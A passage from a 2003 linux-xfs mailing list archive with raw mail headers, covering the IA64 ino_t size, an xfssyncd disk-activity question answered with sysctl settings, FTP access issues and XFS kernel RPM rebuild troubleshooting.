32 bit int in the kernel. I deliberately used 64 bit types in glibc so it could be done right. Must have slipped on fixing the kernel for this one. David? Cheers, Jes From owner-linux-xfs@oss.sgi.com Wed Sep 17 10:26:28 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 10:26:32 -0700 (PDT) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HHQRYa014641 for ; Wed, 17 Sep 2003 10:26:28 -0700 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel10.hp.com (Postfix) with ESMTP id 7B1D41C01803; Wed, 17 Sep 2003 10:26:27 -0700 (PDT) Received: from napali.hpl.hp.com (napali.hpl.hp.com [15.4.89.123]) by hplms2.hpl.hp.com (8.12.9/8.12.9/HPL-PA Hub) with ESMTP id h8HHQPsu004468; Wed, 17 Sep 2003 10:26:26 -0700 (PDT) Received: from napali.hpl.hp.com (localhost [127.0.0.1]) by napali.hpl.hp.com (8.12.3/8.12.3/Debian-5) with ESMTP id h8HHQPHZ021193; Wed, 17 Sep 2003 10:26:25 -0700 Received: (from davidm@localhost) by napali.hpl.hp.com (8.12.3/8.12.3/Debian-5) id h8HHQPJw021189; Wed, 17 Sep 2003 10:26:25 -0700 From: David Mosberger MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16232.39233.100135.891919@napali.hpl.hp.com> Date: Wed, 17 Sep 2003 10:26:25 -0700 To: Jes Sorensen Cc: Nathan Scott , linux-ia64@vger.kernel.org, linux-xfs@oss.sgi.com Subject: Re: IA64 ino_t incorrectly sized? In-Reply-To: References: <20030917071045.GA3037@frodo> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: davidm@hpl.hp.com X-URL: http://www.hpl.hp.com/personal/David_Mosberger/ X-archive-position: 431 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: davidm@napali.hpl.hp.com Precedence: bulk X-list: linux-xfs Content-Length: 1043 Lines: 28 >>>>> On 17 Sep 2003 10:33:47 -0400, Jes Sorensen said: >>>>> "Nathan" == Nathan Scott writes: Nathan> Does anyone know why the IA64 platform-specific ino_t Nathan> definition is an int and not a long? Patch below fixes this Nathan> problem for me but I wonder if there will be side-effects I Nathan> haven't considered (i.e. was there a reason for making this Nathan> 32 bits originally?). If not, could the IA64 maintainers Nathan> push this patch around to the official kernel trees for me? Nathan> (pretty please) Jes> Hi Nathan, Jes> I am actually surprised it's still a 32 bit int in the Jes> kernel. I deliberately used 64 bit types in glibc so it could Jes> be done right. Must have slipped on fixing the kernel for this Jes> one. Jes> David? Extending ino_t to 64 bits came up last October [1]. AFAIK, nobody bothered to investigate & send a patch, so things didn't change since then. --david [1] http://www.gelato.unsw.edu.au/linux-ia64/0210/3952.html From owner-linux-xfs@oss.sgi.com Wed Sep 17 17:42:32 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 17:42:44 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I0gWFx023921 for ; Wed, 17 Sep 2003 17:42:32 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8HMjBOO022426 for ; Wed, 17 Sep 2003 15:45:12 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8I0fcYU015012 for ; Thu, 18 Sep 2003 10:41:38 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8I0fbKw015011 for linux-xfs@oss.sgi.com; Thu, 18 Sep 2003 10:41:37 +1000 Date: Thu, 18 Sep 2003 10:41:37 +1000 From: Nathan Scott Message-Id: <200309180041.h8I0fbKw015011@bruce.melbourne.sgi.com> Subject: TAKE 899885 - fix warnings X-archive-position: 432 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 344 Lines: 13 Fix some compiler warnings from a couple of newly exported functions that we're using in XFS. Date: Wed Sep 17 17:41:22 PDT 2003 Workarea: bruce.melbourne.sgi.com:/build1/nathans/clean24 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:158563a linux/include/linux/fs.h - 1.164 From owner-linux-xfs@oss.sgi.com Wed Sep 17 19:06:41 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 19:06:57 -0700 (PDT) Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I26dFx026362 for ; Wed, 17 Sep 2003 19:06:40 -0700 Received: from wylde.fl.net.au (wylde.fl.net.au [203.30.61.11]) by delenn.fl.net.au (Postfix) with ESMTP id A02AB5B5951 for ; Thu, 18 Sep 2003 12:08:41 +1000 (EST) Received: from jezza by wylde.fl.net.au with local (Exim 3.36 #1 (Debian)) id 19zoBk-0004rE-00 for ; Thu, 18 Sep 2003 12:06:32 +1000 Date: Thu, 18 Sep 2003 12:06:32 +1000 From: Jeremy Field To: linux-xfs@oss.sgi.com Subject: xfssyncd syncing every five seconds? Message-ID: <20030918020632.GA18362@wylde.fl.net.au> Reply-To: jezza@fl.net.au Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 433 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jezza@fl.net.au Precedence: bulk X-list: linux-xfs Content-Length: 572 Lines: 18 Hello, I am using linux 2.4.21 with xfs 1.3 on debian-unstable. Since I upgraded from 2.4.18-xfs-1.1, my xfs partitions have been showing pulses of activity every five seconds, I think because of xfssyncd. The hard drive physically seeks every five seconds too. I have reviewed this mailing list and elsewhere for clues, but can't work out either: a) whether this behaviour is normal, or b) how to change the interval. I am concerned that this behaviour is causing my drive unnecessary wear and would like to understand what's going on... Thanks in advance! Jeremy From owner-linux-xfs@oss.sgi.com Wed Sep 17 19:21:26 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 19:21:46 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I2LQFx027123 for ; Wed, 17 Sep 2003 19:21:26 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h8I2LJq0020113 for ; Wed, 17 Sep 2003 19:21:20 -0700 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA21116; Thu, 18 Sep 2003 12:21:16 +1000 Received: from wobbly.melbourne.sgi.com (localhost [127.0.0.1]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8I2LFYN006928; Thu, 18 Sep 2003 12:21:15 +1000 (EST) Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id h8I2LEjr006940; Thu, 18 Sep 2003 12:21:14 +1000 (EST) Date: Thu, 18 Sep 2003 12:21:13 +1000 From: Nathan Scott To: Jeremy Field Cc: linux-xfs@oss.sgi.com Subject: Re: xfssyncd syncing every five seconds? Message-ID: <20030918122113.A6939@wobbly.melbourne.sgi.com> References: <20030918020632.GA18362@wylde.fl.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20030918020632.GA18362@wylde.fl.net.au>; from jezza@fl.net.au on Thu, Sep 18, 2003 at 12:06:32PM +1000 X-archive-position: 434 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1045 Lines: 30 On Thu, Sep 18, 2003 at 12:06:32PM +1000, Jeremy Field wrote: > Hello, > > I am using linux 2.4.21 with xfs 1.3 on debian-unstable. Since I > upgraded from 2.4.18-xfs-1.1, my xfs partitions have been showing pulses > of activity every five seconds, I think because of xfssyncd. The hard > drive physically seeks every five seconds too. > > I have reviewed this mailing list and elsewhere for clues, but can't > work out either: > a) whether this behaviour is normal, or > b) how to change the interval. > A sysctl variable controls this: /proc/sys/fs/xfs/sync_interval From Documentation/filesystems/xfs.txt... fs.xfs.sync_interval (Min: HZ Default: 30*HZ Max: 60*HZ) The interval at which the xfssyncd thread for xfs filesystems flushes metadata out to disk. This thread will flush log activity out, and do some processing on unlinked inodes What makes you suspect xfssyncd? It could also be some arbitrary process deciding to write something out every few seconds of course. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Wed Sep 17 19:53:15 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 19:53:30 -0700 (PDT) Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I2rDFx028446 for ; Wed, 17 Sep 2003 19:53:14 -0700 Received: from wylde.fl.net.au (wylde.fl.net.au [203.30.61.11]) by delenn.fl.net.au (Postfix) with ESMTP id 4B1C95B5EDA; Thu, 18 Sep 2003 12:55:16 +1000 (EST) Received: from jezza by wylde.fl.net.au with local (Exim 3.36 #1 (Debian)) id 19zouj-0004wQ-00; Thu, 18 Sep 2003 12:53:01 +1000 Date: Thu, 18 Sep 2003 12:53:01 +1000 From: Jeremy Field To: Nathan Scott Cc: linux-xfs@oss.sgi.com Subject: Re: xfssyncd syncing every five seconds? Message-ID: <20030918025301.GA18791@wylde.fl.net.au> Reply-To: jezza@fl.net.au References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030918122113.A6939@wobbly.melbourne.sgi.com> User-Agent: Mutt/1.5.4i X-archive-position: 435 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jezza@fl.net.au Precedence: bulk X-list: linux-xfs Content-Length: 1807 Lines: 46 Thanks for your exceedingly rapid reply... >> I am using linux 2.4.21 with xfs 1.3 on debian-unstable. Since I >> upgraded from 2.4.18-xfs-1.1, my xfs partitions have been showing >> pulses of activity every five seconds, I think because of xfssyncd. >> The hard drive physically seeks every five seconds too. >> >> I have reviewed this mailing list and elsewhere for clues, but can't >> work out either: >> a) whether this behaviour is normal, or >> b) how to change the interval. > > A sysctl variable controls this: /proc/sys/fs/xfs/sync_interval Ok I hadn't realised that's where it lived. Mine's set to "3000". Does this value rule out the diagnosis I've made? > >>From Documentation/filesystems/xfs.txt... > > fs.xfs.sync_interval (Min: HZ Default: 30*HZ Max: 60*HZ) > The interval at which the xfssyncd thread for xfs filesystems > flushes metadata out to disk. This thread will flush log > activity out, and do some processing on unlinked inodes > > What makes you suspect xfssyncd? It could also be some arbitrary > process deciding to write something out every few seconds of course. The reason I suspect xfssyncd is because it happens simultaneously on all of one drive's xfs partitions together (ie /{,usr,var,home}), and not on its non-xfs partitions. Additionally, this behaviour is new since I upgraded to xfs 1.3. It doesn't actually seem to be happening on another drive which has a mounted xfs partition. Some other possibly relevant settings: $ cat /proc/sys/vm/bdflush 30 500 0 0 500 3000 60 20 0 ^ interval in 1/100s between kupdate flushes -- could this be my problem? $ cat /proc/sys/vm/kswapd 512 32 8 I guess I feel a bit out of my depth... Jeremy From owner-linux-xfs@oss.sgi.com Wed Sep 17 20:14:59 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 20:15:24 -0700 (PDT) Received: from mail.epost.de (mail.epost.de [193.28.100.187] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I3EwFx029479 for ; Wed, 17 Sep 2003 20:14:58 -0700 Received: from epost.de (217.234.20.187) by mail.epost.de (6.7.015) (authenticated as rainer.traut@epost.de) id 3F5332D7001287E9; Sat, 13 Sep 2003 14:14:29 +0200 Message-ID: <3F630A22.6000807@epost.de> Date: Sat, 13 Sep 2003 14:14:26 +0200 From: Rainer Traut User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ethan Benson CC: linux-xfs@oss.sgi.com Subject: Re: Announce: XFS split patches for 2.4.22 References: <20030908105514.GH4063@pua.nirvana> <2413.1063019611@ocs3.intra.ocs.com.au> <20030908112703.GH943@plato.local.lan> In-Reply-To: <20030908112703.GH943@plato.local.lan> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 436 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: rainer.traut@epost.de Precedence: bulk X-list: linux-xfs Content-Length: 1163 Lines: 36 Hi, Ethan Benson wrote: > On Mon, Sep 08, 2003 at 09:13:31PM +1000, Keith Owens wrote: > >>On Mon, 8 Sep 2003 13:55:14 +0300, >>Axel Thimm wrote: >> >>>On Wed, Sep 03, 2003 at 02:26:35PM +1000, Keith Owens wrote: >>> >>>>ftp://oss.sgi.com/projects/xfs/download/patches/2.4.22. =20 >>> >>>I cannot access any files in this directory. > > no it was your ftp server, it was responding with "550 load average is > 11, anonymous users are not allowed to download with this much load." > or somesuch, it was doing so in a broken way though so most clients > didn't properly identify the failure. in fact its not even possible > to see the error message unless you use the plain jane bsd ftp > command, all the others (wget, lftp etc) helpfully hid the message and > silently malfunctioned. > > it seems to be behaving itself now. Another info for ftp://oss.sgi.com... There are certain versions of Firewall-1 from Checkpoint, namely 4.1 which have a bug in ftp control connections to certain ftp Servers. oss.sgi.com is one of those (one of two I discovered) which cannot be reached from behind this firewall! Gruss Rainer From owner-linux-xfs@oss.sgi.com Wed Sep 17 20:43:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 20:44:10 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8I3hgFx000958 for ; Wed, 17 Sep 2003 20:43:42 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h8I41Ess016556 for ; Wed, 17 Sep 2003 23:01:15 -0500 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA21746; Thu, 18 Sep 2003 13:43:32 +1000 Received: from wobbly.melbourne.sgi.com (localhost [127.0.0.1]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8I3hVYN007111; Thu, 18 Sep 2003 13:43:31 +1000 (EST) Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id h8I3hULN007121; Thu, 18 Sep 2003 13:43:30 +1000 (EST) Date: Thu, 18 Sep 2003 13:43:29 +1000 From: Nathan Scott To: Jeremy Field Cc: linux-xfs@oss.sgi.com Subject: Re: xfssyncd syncing every five seconds? Message-ID: <20030918134329.B6939@wobbly.melbourne.sgi.com> References: <20030918020632.GA18362@wylde.fl.net.au> <20030918122113.A6939@wobbly.melbourne.sgi.com> <20030918025301.GA18791@wylde.fl.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20030918025301.GA18791@wylde.fl.net.au>; from jezza@fl.net.au on Thu, Sep 18, 2003 at 12:53:01PM +1000 X-archive-position: 437 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 2001 Lines: 53 On Thu, Sep 18, 2003 at 12:53:01PM +1000, Jeremy Field wrote: > Thanks for your exceedingly rapid reply... > > >> I am using linux 2.4.21 with xfs 1.3 on debian-unstable. Since I > >> upgraded from 2.4.18-xfs-1.1, my xfs partitions have been showing > >> pulses of activity every five seconds, I think because of xfssyncd. > >> The hard drive physically seeks every five seconds too. > >> > >> I have reviewed this mailing list and elsewhere for clues, but can't > >> work out either: > >> a) whether this behaviour is normal, or > >> b) how to change the interval. > > > > A sysctl variable controls this: /proc/sys/fs/xfs/sync_interval > > Ok I hadn't realised that's where it lived. Mine's set to "3000". Does > this value rule out the diagnosis I've made? thats every 30 seconds, so its unlikely to be xfssyncd. > > >>From Documentation/filesystems/xfs.txt... > > > > fs.xfs.sync_interval (Min: HZ Default: 30*HZ Max: 60*HZ) > > The interval at which the xfssyncd thread for xfs filesystems > > flushes metadata out to disk. This thread will flush log > > activity out, and do some processing on unlinked inodes > > > > What makes you suspect xfssyncd? It could also be some arbitrary > > process deciding to write something out every few seconds of course. > > The reason I suspect xfssyncd is because it happens simultaneously on > all of one drive's xfs partitions together (ie /{,usr,var,home}), and > not on its non-xfs partitions. Additionally, this behaviour is new since > I upgraded to xfs 1.3. hmmm. > It doesn't actually seem to be happening on another drive which has a > mounted xfs partition. Some other possibly relevant settings: > > $ cat /proc/sys/vm/bdflush > 30 500 0 0 500 3000 60 20 0 > ^ interval in 1/100s between kupdate > flushes -- could this be my problem? possibly. worth fiddling with that knob and seeing what happens, anyway. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Sep 18 10:03:41 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 10:04:00 -0700 (PDT) Received: from students.fct.unl.pt (students.fct.unl.pt [193.136.120.10]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IH3dFx015727 for ; Thu, 18 Sep 2003 10:03:40 -0700 Received: from students.fct.unl.pt (localhost.localdomain [127.0.0.1]) by students.fct.unl.pt (8.12.8/8.12.8) with ESMTP id h8IH3cpu000853; Thu, 18 Sep 2003 18:03:38 +0100 Received: from localhost (pjsm@localhost) by students.fct.unl.pt (8.12.8/8.12.8/Submit) with ESMTP id h8IH3bXO000849; Thu, 18 Sep 2003 18:03:37 +0100 X-Authentication-Warning: students.fct.unl.pt: pjsm owned process doing -bs Date: Thu, 18 Sep 2003 18:03:37 +0100 (WEST) From: Paulo Matos To: Axel Thimm cc: linux-xfs@oss.sgi.com Subject: Re: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) In-Reply-To: <20030916194835.GA3676@pua.nirvana> Message-ID: X-GPG-PUBLIC_KEY: http://students.fct.unl.pt/~pjsm/pjsm_fct.public.asc X-GPG-FINGRPRINT: 1024D/1DD3CA2F 5E95 9FD3 3435 A763 18E9 FB57 282B BCD7 1DD3 CA2F MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by students.fct.unl.pt id h8IH3cpu000853 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8IH3fFx015730 X-archive-position: 438 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: pjsm@fct.unl.pt Precedence: bulk X-list: linux-xfs Content-Length: 1587 Lines: 50 On Tue, 16 Sep 2003, Axel Thimm wrote: > On Tue, Sep 16, 2003 at 08:35:34PM +0100, Paulo Matos wrote: > > Since those for RH7.3 on http://atrpms.physik.fu-berlin.de/name/kernel/, > > are marked as bleeding... > > Please try them nevertheless. If they don't get enough testing > (including positive feedback) they won't get out of bleeding. ;) Hi! I try to rebuild it from src.rpm but I get a lot of rejected patches, I think this is due to patch-2.4.21-pre3 you do first... but even after commenting the folowing lines: ###pm %patch5 -p1 ###pm %patch1000 -p1 ###pm %patch1350 -p1 ###pm %patch1600 -p1 ###pm %patch2360 -p1 ###pm %patch2361 -p1 ###pm %patch2420 -p1 ###pm %patch2460 -p1 ###pm %patch2510 -p1 ###pm %patch2520 -p1 ###pm %patch2530 -p1 ###pm %patch1000001 -p1 -b .i2c280 ###pm %patch10010 -p1 ###pm %patch10020 -p1 ###pm %patch800 -p1 ###pm %patch801 -p1 ###pm %patch802 -p1 ###pm %patch803 -p1 ###pm %patch808 -p1 ###pm %patch810 -p1 ###pm %patch11032 -p1 ###pm %patch1000010 -p1 it does not build... any hints? IS the src.rpm package out-dated? I try to build it under i686 and athlon archs same result... -- Paulo Matos ----------------------------------- ---------------------------------- |Sys & Net Admin | Serviço de Informática | |Faculdade de Ciências e Tecnologia | Tel: +351-21-2948596 | |Universidade Nova de Lisboa | Fax: +351-21-2948548 | |P-2829-516 Caparica | e-Mail: pjsm@fct.unl.pt | ----------------------------------- ---------------------------------- From owner-linux-xfs@oss.sgi.com Thu Sep 18 10:35:30 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 10:35:41 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IHZTFx018847 for ; Thu, 18 Sep 2003 10:35:30 -0700 Received: from puariko.homeip.net (r10acci-a89-125.acci.gr [195.170.15.125]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8IHZCqx028614 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 18 Sep 2003 19:35:23 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8IHZEB4002421; Thu, 18 Sep 2003 20:35:14 +0300 Date: Thu, 18 Sep 2003 20:35:11 +0300 From: Axel Thimm To: Paulo Matos Cc: linux-xfs@oss.sgi.com Subject: Re: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) Message-ID: <20030918173511.GA1773@pua.nirvana> References: <20030916194835.GA3676@pua.nirvana> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="3V7upXqbjpZ4EhLz" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 439 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 1641 Lines: 50 --3V7upXqbjpZ4EhLz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 18, 2003 at 06:03:37PM +0100, Paulo Matos wrote: > On Tue, 16 Sep 2003, Axel Thimm wrote: >=20 > > On Tue, Sep 16, 2003 at 08:35:34PM +0100, Paulo Matos wrote: > > > Since those for RH7.3 on http://atrpms.physik.fu-berlin.de/name/kerne= l/,=20 > > > are marked as bleeding... > >=20 > > Please try them nevertheless. If they don't get enough testing > > (including positive feedback) they won't get out of bleeding. ;) >=20 > I try to rebuild it from src.rpm but I get a lot of rejected=20 > patches, I think this is due to patch-2.4.21-pre3 you do first... but > even after commenting the folowing lines: > [...] > it does not build... any hints? IS the src.rpm package out-dated? I try t= o=20 > build it under i686 and athlon archs same result... That sounds really weird (note that patch-2.4.21-pre3 is simply the first of a long series of patches that fails, i.e. all the patching fails on your system). How did you try to rebuild? Could you post the steps? You did use rpmbuild (--rebuild|-bb), or did you try by manual patching? (And why did you want to rebuild in the first place? Don't the built kernels and kernel-source satisfy your needs?) --=20 Axel.Thimm@physik.fu-berlin.de --3V7upXqbjpZ4EhLz Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/aezPQBVS1GOamfERAngEAJ985ZrxLU6J3oSxweqmtWTNeWwIjwCff+u0 k/lqNFMSMTIwx9I3kUglXmE= =67T8 -----END PGP SIGNATURE----- --3V7upXqbjpZ4EhLz-- From owner-linux-xfs@oss.sgi.com Thu Sep 18 10:42:03 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 10:42:07 -0700 (PDT) Received: from students.fct.unl.pt (students.fct.unl.pt [193.136.120.10]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8IHg1Fx019438 for ; Thu, 18 Sep 2003 10:42:02 -0700 Received: from students.fct.unl.pt (localhost.localdomain [127.0.0.1]) by students.fct.unl.pt (8.12.8/8.12.8) with ESMTP id h8IHg0pu002369; Thu, 18 Sep 2003 18:42:00 +0100 Received: from localhost (pjsm@localhost) by students.fct.unl.pt (8.12.8/8.12.8/Submit) with ESMTP id h8IHg0IK002365; Thu, 18 Sep 2003 18:42:00 +0100 X-Authentication-Warning: students.fct.unl.pt: pjsm owned process doing -bs Date: Thu, 18 Sep 2003 18:42:00 +0100 (WEST) From: Paulo Matos To: Axel Thimm cc: linux-xfs@oss.sgi.com Subject: Re: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) In-Reply-To: <20030918173511.GA1773@pua.nirvana> Message-ID: X-GPG-PUBLIC_KEY: http://students.fct.unl.pt/~pjsm/pjsm_fct.public.asc X-GPG-FINGRPRINT: 1024D/1DD3CA2F 5E95 9FD3 3435 A763 18E9 FB57 282B BCD7 1DD3 CA2F MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by students.fct.unl.pt id h8IHg0pu002369 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8IHg3Fx019439 X-archive-position: 440 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: pjsm@fct.unl.pt Precedence: bulk X-list: linux-xfs Content-Length: 1046 Lines: 28 On Thu, 18 Sep 2003, Axel Thimm wrote: > On Thu, Sep 18, 2003 at 06:03:37PM +0100, Paulo Matos wrote: > > That sounds really weird (note that patch-2.4.21-pre3 is simply the > first of a long series of patches that fails, i.e. all the patching > fails on your system). patch-2.4.21-pre3 does not fail... only the others... > How did you try to rebuild? Could you post the steps? You did use > rpmbuild (--rebuild|-bb), or did you try by manual patching? rpmbuild -ba kernel.spec Why rebuild? To remove atrpms dependency, adjust release numbers to upgrade, dual athlon and test... -- Paulo Matos ----------------------------------- ---------------------------------- |Sys & Net Admin | Serviço de Informática | |Faculdade de Ciências e Tecnologia | Tel: +351-21-2948596 | |Universidade Nova de Lisboa | Fax: +351-21-2948548 | |P-2829-516 Caparica | e-Mail: pjsm@fct.unl.pt | ----------------------------------- ---------------------------------- From owner-linux-xfs@oss.sgi.com Thu Sep 18 11:03:55 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 18 Sep 2003 11:04:00 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8II3sFx020497 for ; Thu, 18 Sep 2003 11:03:55 -0700 Received: from puariko.homeip.net (r10acci-a89-125.acci.gr [195.170.15.125]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8II3hqx003715 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 18 Sep 2003 20:03:48 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8II3nMq003017; Thu, 18 Sep 2003 21:03:49 +0300 Date: Thu, 18 Sep 2003 21:03:46 +0300 From: Axel Thimm To: Paulo Matos Cc: linux-xfs@oss.sgi.com Subject: Re: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) Message-ID: <20030918180346.GB1773@pua.nirvana> References: <20030918173511.GA1773@pua.nirvana> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="MW5yreqqjyrRcusr" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 441 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 1519 Lines: 48 --MW5yreqqjyrRcusr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 18, 2003 at 06:42:00PM +0100, Paulo Matos wrote: > > How did you try to rebuild? Could you post the steps? You did use > > rpmbuild (--rebuild|-bb), or did you try by manual patching? >=20 > rpmbuild -ba kernel.spec Immediately after rpm -i xxx.src.rpm? I just tested 